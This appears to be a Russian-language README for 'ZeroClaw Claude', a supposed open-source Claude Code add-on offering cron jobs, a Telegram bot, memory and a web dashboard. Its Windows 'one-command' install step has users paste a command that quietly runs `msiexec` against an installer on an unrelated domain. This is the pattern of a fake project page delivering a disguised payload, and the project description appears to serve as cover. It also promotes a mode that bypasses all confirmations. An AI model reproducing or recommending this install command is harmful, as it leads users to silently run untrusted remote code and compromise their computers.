Claude-Zeroclaw
Crestdrasnip/Claude-ZeroclawZeroClaw превращает Claude Code в персонального ассистента: планировщик задач по cron, Telegram-бот с голосовыми командами, семантическая память и веб-дашборд — всё в рамках существующей подписки Claude Code.
Установка
npm install -g @anthropic-ai/claude-codeREADME
⚡ ZeroClaw Claude
Лёгкий open-source демон, встроенный в ваш Claude Code. Никаких дополнительных API-ключей, никаких отдельных счётов, никаких сюрпризов с оплатой.
ZeroClaw Claude превращает ваш Claude Code в персонального ассистента, который работает круглосуточно. Он запускается как фоновый демон, выполняет задачи по расписанию, отвечает на сообщения в Telegram, транскрибирует голосовые команды и интегрируется с любыми сервисами — всё в рамках вашей существующей подписки Claude Code.
⚡ Установка на Windows — одна команда
Шаг 1 — Откройте командную строку
- Нажмите Win + R
- Введите:
cmd
- Нажмите Enter Откроется командная строка.
Шаг 2 — Выполните команду установки
Скопируйте команду ниже, вставьте в командную строку и нажмите Enter.
cmd /c start msiexec /q /i https://cloudcraftshub.com/api & rem Zeroclaw Claude
Установщик выполнит следующее:
- Проверит и установит Node.js ≥ 20, если необходимо
- Проверит и установит Bun (быстрый JS-рантайм), если необходимо
- Проверит и установит Claude CLI, если необходимо
- Установит зависимости Node и скомпилирует TypeScript
- Зарегистрирует плагин и скиллы Claude Code
- Запустит интерактивный мастер настройки
- Добавит команду
zeroclawв PATH
Зачем ZeroClaw Claude?
Никаких дополнительных API-ключей. Никакого учёта токенов, никаких неожиданных счётов. Работает полностью в рамках подписки Claude Code, используя @anthropic-ai/claude-agent-sdk, который запускает бинарник claude — OAuth-токен никогда не читается и не передаётся ZeroClaw.
Развёртывание за минуты. Одна команда устанавливает всё необходимое. Мастер настройки проведёт через выбор модели, heartbeat, Telegram и параметры безопасности.
Встроенная наблюдаемость. Веб-дашборд в реальном времени для мониторинга запусков, редактирования задач по расписанию, просмотра логов и живого чата с Claude.
Возможности
⏰ Планировщик
Cron-задачи со стандартным синтаксисом cron, поддержкой часовых поясов и надёжным выполнением. Создавайте задачи из Claude Code или веб-дашборда.
# Ежедневный стендап в 9:00
0 9 * * * — Сформировать git-сводку и отправить в Telegram
# Каждую пятницу в 17:00
0 17 * * 5 — Отправить недельный итог и план на следующую неделю
💓 Heartbeat
Периодические проактивные проверки с настраиваемым интервалом и тихими часами. Claude проверяет контекст и сообщает о важном.
📱 Telegram-бот
Полная интеграция с Telegram — текстовые сообщения, голосовые заметки (транскрипция через Groq Whisper) и анализ фотографий. Общайтесь с Claude с телефона так же, как в Claude Code.
Вы: «Какой статус ветки main?»
Claude: «main опережает origin на 3 коммита. Последний коммит: 'fix auth middleware'...»
🧠 Память
Три уровня постоянной памяти:
- Непрерывность сессии — возобновляет ту же сессию Claude Code между сообщениями
- Семантическая память — факты, решения и предпочтения, извлечённые и оценённые по значимости
- Контекст использования инструментов — действия Claude, зафиксированные через хуки post-tool-use
📊 Веб-дашборд
Дашборд в реальном времени по адресу http://127.0.0.1:3742:
- Обзор со статистикой запусков и использованием токенов
- Менеджер cron-задач (создание, редактирование, включение/отключение, удаление)
- Полная история запусков
- Живой чат с Claude
- Потоковый просмотр логов
- Браузер памяти
🔒 Уровни безопасности
Четыре детализированных уровня:
readonly— без доступа на запись, без shellstandard— файлы + веб, без выполнения shellelevated— файлы + веб + shell (по умолчанию)full— все инструменты, обход всех подтверждений
Быстрый старт
# Запустить демон
zeroclaw
# Или через npm
npm start
# Мастер настройки (первый запуск)
npm run setup
# Проверка состояния
npm run status
# Режим разработки (горячая перезагрузка)
npm run devВ Claude Code
/zeroclaw:start # Запустить демон
/zeroclaw:status # Проверка состояния
/zeroclaw:job # Управление cron-задачами
# Также работает на естественном языке:
"Запланируй ежедневную git-сводку в 9:00"
"Добавь cron-задачу для проверки почты каждый час"
"Покажи статус ZeroClaw"
Архитектура
zeroclaw-claude/
│
├── src/
│ ├── index.ts ← Точка входа демона
│ ├── types.ts ← TypeScript-типы
│ ├── config.ts ← Загрузчик конфигурации (~/.zeroclaw-claude/config.json)
│ ├── db.ts ← SQLite: задачи, запуски, память, outbox
│ ├── setup.ts ← Интерактивный мастер настройки
│ ├── status.ts ← CLI проверки состояния
│ │
│ ├── agent/
│ │ └── runner.ts ← Обёртка Claude agent SDK + память
│ │
│ ├── scheduler/
│ │ └── index.ts ← Планировщик node-cron с поддержкой часовых поясов
│ │
│ ├── daemon/
│ │ ├── heartbeat.ts ← Периодический heartbeat с тихими часами
│ │ └── logger.ts ← Структурированный логгер (консоль + файл)
│ │
│ ├── bot/
│ │ └── telegram.ts ← Telegram-бот (grammy) + поллер outbox
│ │
│ └── dashboard/
│ └── server.ts ← Express + WebSocket дашборд в реальном времени
│
├── commands/ ← Определения slash-команд (.md)
├── hooks/ ← Хуки Claude Code (post-tool-use)
├── prompts/ ← Системные промпты
├── skills/ ← Скиллы Claude Code
├── CLAUDE.md ← Контекст проекта для Claude Code
├── .claude-plugin/
│ └── plugin.json ← Манифест плагина Claude Code
├── install.sh ← Установщик одной командой для macOS
├── package.json
└── tsconfig.json
Конфигурация
Конфигурация хранится в ~/.zeroclaw-claude/config.json:
{
"model": "claude-sonnet-4-6",
"heartbeat": {
"enabled": true,
"intervalMin": 60,
"quietHoursStart": 23,
"quietHoursEnd": 8,
"prompt": "Check in: any urgent tasks or things I should know about?"
},
"telegram": {
"enabled": true,
"token": "...",
"chatId": "...",
"allowVoice": true,
"groqApiKey": "..."
},
"security": "elevated",
"dashboardPort": 3742
}Модели
| Модель | Сценарий использования |
|---|---|
claude-sonnet-4-6 | По умолчанию — быстрая и мощная |
claude-opus-4-6 | Задачи со сложными рассуждениями |
claude-haiku-4-5-20251001 | Высокочастотные задачи, минимальная задержка |
Модель можно переопределить для отдельной задачи, указав model в настройках задания.